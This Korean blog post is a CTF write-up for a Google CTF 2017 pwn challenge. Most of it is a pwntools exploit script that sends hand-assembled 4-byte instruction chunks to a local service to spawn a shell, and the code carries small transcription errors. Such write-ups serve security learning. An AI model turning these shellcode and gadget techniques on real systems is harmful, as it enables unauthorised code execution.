shellocode를 4바이트만큼 실행시켜주는데

주요 레지스터들을 초기화 시켜준다

그래서 r14를 이용해서 rsp+0x50에 NULL을 넣어주고

one_shot gadget을 이용해서 쉘을 땃다



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# !/usr/bin/env python
# powerprove
 
from pwn import *
 
= remote("localhost"4000)
raw_input("googlectf 2017")
 
 
context.arch = "amd64"
shellcode = "\x90"*100
shellcode += asm(shellcraft.amd64.linux.sh())
 
 
if __name__ == "__main__":
 
    log.info("making rsp+0x30 = NULL")
    payload = ""
    payload += "\x49\x89\xE6\xC3"       # mov r14, rsp ; ret
    payload += "\x4D\x01\xD6\xC3"       # add r14, r10 ; ret
    payload += "\x4D\x01\xD6\xC3"       # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\xC3"*0xc   # inc r14 ; ret
    payload += "\x4D\x89\x3E\x90"       # mov QWORD PTR [r14],r15 ; ret
 
    log.info("making one_shot")
    payload += "\x4C\x8B\x75\x18"       # mov r14, [rbp + 0x10]
    payload += "\x4D\x01\xD6\x90"*6     # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\x90"*3     # inc r14
    payload += "\x4D\x01\xDE\xC3"*4        # add r14, r11 ; ret
    payload += "\x4D\x01\xD6\xC3"*8        # add r14, r10 ; ret
    payload += "\x49\xFF\xC6\xC3"*0x1c  # inc r14 ; ret
    payload += "\x41\xFF\xD6\xC3"
    s.send(payload)
 
    s.interactive()
cs


'CTF > 2017' 카테고리의 다른 글

[0CTF EasiestPrintf] write up  (0) 2017.06.30
[plaid ctf 2017] bigpicture  (0) 2017.06.29
[codegate 2017 final] owner  (0) 2017.06.26
codegate_final 2017 real  (0) 2017.06.23
허스트 CTF pwn write up  (0) 2017.05.31
블로그 이미지

powerprove

,